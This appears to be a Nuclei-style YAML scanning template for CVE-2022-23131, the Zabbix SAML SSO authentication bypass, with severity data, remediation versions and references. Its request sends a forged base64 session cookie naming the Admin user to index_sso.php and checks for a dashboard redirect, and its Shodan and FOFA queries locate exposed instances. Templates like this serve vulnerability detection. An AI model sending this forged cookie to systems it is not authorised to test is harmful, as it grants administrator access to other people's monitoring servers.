52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: CVE-2022-23131
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info:
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name: Zabbix - SAML SSO Authentication Bypass
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author: For3stCo1d,spac3wh1te
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severity: critical
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description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
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remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
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reference:
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- https://support.zabbix.com/browse/ZBX-20350
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- https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
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- https://nvd.nist.gov/vuln/detail/CVE-2022-23131
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- https://github.com/1mxml/CVE-2022-23131
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-23131
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cwe-id: CWE-290
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epss-score: 0.96928
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epss-percentile: 0.99649
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cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: zabbix
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product: zabbix
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shodan-query: http.favicon.hash:892542951
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fofa-query: app="ZABBIX-监控系统" && body="saml"
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tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev
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http:
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- method: GET
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path:
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- "{{BaseURL}}/zabbix/index_sso.php"
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- "{{BaseURL}}/index_sso.php"
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stop-at-first-match: true
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headers:
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Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- "contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"
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- type: status
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status:
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- 302
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# digest: 4a0a004730450221008b30edef0a6d15f09faf19c2a9ce80dcf34a4f930e994f71d48ae9d4266e5a6d02203bbcc03bcca0332f0b1a6f21beec8c98c1473b1b0621bc2a47d9b8bb34da4e96:922c64590222798bb761d5b6d8e72950
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